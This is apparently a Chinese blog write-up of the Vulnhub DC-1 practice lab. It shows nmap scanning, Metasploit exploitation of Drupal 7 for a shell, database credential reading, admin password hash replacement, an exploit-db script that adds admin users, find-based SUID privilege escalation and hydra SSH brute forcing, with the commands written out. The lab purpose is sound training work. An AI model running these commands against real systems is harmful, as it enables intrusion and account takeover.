渗透靶场 Vulnhub:DC-1复现

渗透靶机DC-1复现过程

下载完靶机后,设置为NAT模式,即可开始测试。

相关过程:

  • 信息搜集
  • msf的漏洞探测
  • msf的漏洞利用
  • 提权

信息搜集
1.首先利用nmap探测目标机位置:

nmap -A 192.168.178.100/24

基础探测获知:
靶机ip地址:192.168.178.141

获取靶机指纹相关信息:
靶机的指纹获知:
靶机使用的cms是Drupal 7

漏洞探测:
方法一:利用nmap的脚本探测出漏洞的CVE编号,在msf中查找相关漏洞
方法二:使用msf直接查找网站站点cms漏洞加以利用

方法一:

利用nmap的漏洞扫描脚本

nmap --script=vuln 192.168.178.141

发现一个sql注入的漏洞,cve编号为:CVE-2014-3704
在这里插入图片描述利用msf搜索相关漏洞并利用:
在这里插入图片描述在这里插入图片描述设置浩相关参数

成功进入:
在这里插入图片描述

方法二:直接搜索相关cms的漏洞:

search drupal

在这里插入图片描述

一个个尝试发现,2和4是可以反弹shell的,其余模块均不行,后续参数设置以及执行过程与方法一致。

对漏洞进行利用:

查看本地文件:
在这里插入图片描述

查看flag1:每一个好的cms都有一个配置文件,你也是。
在这里插入图片描述
下一步查找drupal 7的配置文件:
在这里插入图片描述

cd sites/default
cat settings.php

在这里插入图片描述
得到flag2的信息:暴力破解和字典攻击不是获得访问权限的唯一办法,你能用下面这些信息做什么呢?

尝试进入mysql后台

meterpreter模式下无法发现命令,更换shell外壳,发现无法回显

mysql -udbuser -pR0ck3t

在这里插入图片描述
发现靶机安装了python,使用pty.spawn()获得交互式shell

python -c ‘import pty; pty.spawn("/bin/bash")’

pty为虚拟终端模块,关联函数spawn解释如下:

pty.spawn(argv[, master_read[, stdin_read]])

生成一个进程,并将其控制终端连接到当前进程的标准 io。 这常被用来应对坚持要从控制终端读取数据的程序。 在 pty 背后生成的进程预期最后将被终止,而且当它被终止时 spawn 将会返回。

在这里插入图片描述

查看本地开放端口号,确定数据库类型:

netstat -an

在这里插入图片描述
可以看到相关信息:比如开放了3306端口(mysql的端口),mssql的端口是1433

相关知识普及:
recv-Q 表示:网络接收队列,表示收到的数据已经在本地接收缓冲,但是还有多少没有被进程取走,如果接收队列Recv-Q一直处于阻塞状态,可能是遭受了拒绝服务 denial-of-service 攻击。

send-Q 表示网路发送队列,对方没有收到的数据或者说没有Ack的,还是本地缓冲区,如果发送队列Send-Q不能很快的清零,可能是有应用向外发送数据包过快,或者是对方接收数据包不够快。

确定是mysql,利用交互shell进入mysql并查看数据库,这里注意进入mysql后输入信息的格式:

mysql -udbuser -pR0ck3t
show databases;

在这里插入图片描述

进入drupaldb数据库,查看users表(一般都含有用户的相关信息),查看用户信息。

use drupaldb;
show tables;
select * from users\G;
在这里插入图片描述

对于用户的登陆密码:
方法一:替换掉相关的密码;
方法二:增加一个新的用户账号和密码;

法一:

  • 考虑生成一段明文为123123的密文,利用交互shell,使用php脚本生成想要的加密hash

php scripts/password-hash.sh 123123

在这里插入图片描述

  • 在mysql中使用mysql命令更新admin用户hash
 update drupaldb.users set
 pass='$S$D.2yrmnSsb3pc.z1HR9A/Yqs9PM.A4wGU0aPxb1ixZfAMEN8rSva' where
 name ='admin';

在这里插入图片描述

  • 登陆目标网站查看信息
    在这里插入图片描述在这里插入图片描述在这里插入图片描述
    flag3:
    注意加深的几个关键词,find 提权,利用perms参数 -exec命令查找shadow文件,shadow文件必须得root权限才能查看到

Special PERMS will help FIND the passwd - but you’ll need to -exec
that command to work out how to get what’s in the shadow.

法二:重新加入新密码

  • 在msf爆破模块中存在一个攻击脚本,可以增加admin权限的用户账号

首先查看目标站点版本:
在这里插入图片描述发现版本是7.24:

cat includes/bootstrap.inc | grep ‘VERSION’

在这里插入图片描述
找到相关增加admin的脚本

python /usr/share/exploitdb/exploits/php/webapps/34992.py -t
http://192.168.178.141 -u admin123 -p admin123

在这里插入图片描述在这里插入图片描述尝试登陆:成功
在这里插入图片描述同理得到flag3

开始提权,查找flag4

查看此时的权限
在这里插入图片描述
由flag3的提示,使用find 提权找到拥有SUID root权限的命令,成功找到find命令:

find / -perm -u=s -type f 2>/dev/null
或 find / -perm -4000
在这里插入图片描述

进行find提权:

  • 先创建一个文件夹 hack1
    在这里插入图片描述

  • 提权

find / hack1 -exec ‘/bin/sh’ ;
在这里插入图片描述

可以看到看到shadow中加密的flag4
在这里插入图片描述

两种方法:
选择利用hydra和john对密码进行爆破
直接进入目录查看相关flag

方法一:

直接进入home目录内查看:
在这里插入图片描述

Can you use this same method to find or access the flag in root?

Probably. But perhaps it’s not that easy. Or maybe it is?

按提示进入root目录
在这里插入图片描述完成渗透。

方法二:
爆破
关键是提前通过信息搜集得到目标用户名,同时发现开放了22端口

  • nmap之前扫描出两个端口:22和80
  • 利用hydra和john爆破密码文本爆破ssh进入系统
  • 这种方法可以适用于目标提权不成功的条件下

成功通过ssh爆破进入系统,同理查看flag,就不再演示。

wget http://www.openwall.com/john/j/john-1.8.0.tar.gz #下载John密码包
tar -xvf john-1.8.0.tar.gz #解压缩
cd john-1.8.0/ src #进入源码目录下
uname -a #查看当前系统版本
make linux-x86-64 #编译并指定当前的Linux系统版本
hydra -l flag4 -P password.lst ssh://192.168.178.141 -f -vV -o hydraflag4.ssh

hydra爆破基本模板:
在这里插入图片描述

在这里插入图片描述利用ssh登陆进入flag4用户的目录,后续升级权限依然可以用find提权
在这里插入图片描述在这里插入图片描述

至此结束,很多地方借鉴大佬的,理解可能还不到位,望各位大佬指点。

学习体会:

  • 学到了不熟悉的hydra+john爆破
  • 学到了提权的基本姿势
  • python条件下的交互shell设置
  • 明白了基本的渗透测试流程

继续努力加油!

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

YnG_t0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值